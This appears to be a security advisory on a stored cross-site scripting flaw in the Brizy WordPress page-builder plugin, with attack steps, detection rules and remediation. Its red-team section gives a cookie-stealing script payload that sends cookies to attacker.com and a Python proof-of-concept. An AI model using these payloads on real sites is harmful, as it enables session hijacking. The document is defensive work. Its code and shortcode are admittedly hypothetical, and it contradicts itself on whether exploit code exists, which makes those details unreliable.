CVE-2024-1164

Executive Summary

CVE-2024-1164 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.43. The flaw resides in the plugin's contact form widget, where user-supplied error messages and redirect URLs are insufficiently sanitized and escaped. This allows authenticated attackers with at least contributor-level permissions to inject arbitrary web scripts that execute whenever a victim accesses a compromised page. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch details are currently available, making this a high-priority issue for WordPress site administrators.

WordPress Ecosystem Context

This vulnerability is specific to the Brizy plugin within the WordPress ecosystem. It does not affect Apache, Nginx, or other server software. The attack vector relies on the plugin's failure to properly handle user input in the contact form widget, a common component in WordPress page builders.

Supply Chain & Package Security

Brizy is distributed via the WordPress plugin repository and is also available as a premium plugin. The vulnerability affects all installations, including those obtained through official channels. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting this in unpatched sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts poses a significant risk to site integrity and user trust. The lack of a patch elevates the urgency.

Deep Dive & Mechanics

The vulnerability exists in the Brizy contact form widget, specifically in how it handles error messages and redirect URLs. When a user submits a contact form, the plugin processes error messages (e.g., "Invalid email") and redirect URLs (e.g., "Thank you page"). These fields are stored in the WordPress database and rendered on the frontend without proper sanitization or output escaping.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, failing to escape HTML/JavaScript in the stored values. This allows an attacker with contributor-level permissions to craft a form submission that includes malicious JavaScript in the error message or redirect URL fields.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates or edits a page using Brizy's contact form widget.
3. In the form settings, sets the error message to: <script>alert('XSS')</script> or a more sophisticated payload.
4. Saves the page. The payload is stored in the database.
5. When any user (including admins) visits the page, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim (e.g., creating admin accounts).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (Brizy <= 2.4.43):

// In contact form widget rendering
echo '<div class="brizy-error">' . $error_message . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="brizy-error">' . esc_html( $error_message ) . '</div>';

The vulnerable code directly outputs the user-supplied $error_message without escaping. The patched version uses esc_html() to convert HTML special characters to entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Brizy plugin <= 2.4.43
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Use Brizy editor to add a Contact Form widget.
4. In the form settings, locate the "Error Message" field.
5. Inject payload: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
6. Save and publish the page.
7. Send the page link to a victim (e.g., admin).
8. When the victim visits, their cookies are sent to the attacker's server.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://target.com/wp-admin/post.php"
session = requests.Session()
# Login as contributor
session.post("http://target.com/wp-login.php", data={"log": "contributor", "pwd": "password"})
# Create page with malicious form
payload = "<script>alert('XSS')</script>"
data = {
    "post_title": "Test Page",
    "content": f"[brizy_contact_form error_message='{payload}']"
}
session.post(target_url, data=data)
print("Malicious page created.")

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual form submissions containing <script> tags.
2. Review WordPress database for suspicious entries in wp_postmeta or wp_options related to Brizy.
3. Check for pages created by low-privilege users that contain contact forms with non-standard error messages.
4. Use WAF rules to block XSS payloads in form fields.

Lab Setup:

• Install WordPress with Brizy plugin version 2.4.43.
• Create a contributor account.
• Use a browser with developer tools to inspect network requests and DOM.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for modified plugin files)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing <script> tags in POST data to wp-admin/admin-ajax.php or wp-admin/post.php.
• Log Entries:
  • WordPress debug log entries showing brizy errors with HTML/JavaScript.
  • Web server logs with POST requests to wp-admin/post.php from contributor accounts.
• Database Indicators:
  • Rows in wp_postmeta with meta_key containing brizy and meta_value containing <script>.
  • Pages with post_author set to a contributor and post_content containing brizy_contact_form.

Detection Engineering

YARA Rule

rule CVE_2024_1164_Brizy_XSS {
    meta:
        description = "Detects stored XSS payloads in Brizy plugin data"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1164"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $brizy_marker = "brizy_contact_form"
    condition:
        $brizy_marker and $xss_payload
}

Sigma Rule

title: CVE-2024-1164 Brizy Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Brizy contact form
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post.php'
        cs-uri-query: '*brizy*'
        cs-uri-query: '*error_message*'
        cs-uri-query: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1164 Brizy Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"brizy"; http_uri; content:"error_message"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is released.
2. Restrict contributor-level permissions to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in form fields.
4. Audit existing pages for malicious content using the YARA rule above.

Long-term Fix:

• Monitor the Brizy plugin repository for a patched version (expected > 2.4.43).
• Apply the patch as soon as it becomes available.
• Consider switching to an alternative page builder if Brizy does not release a timely fix.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.
• Manually edit the plugin code to add esc_html() to error message output (not recommended for non-developers).

Valters IT
Securing Digital Frontiers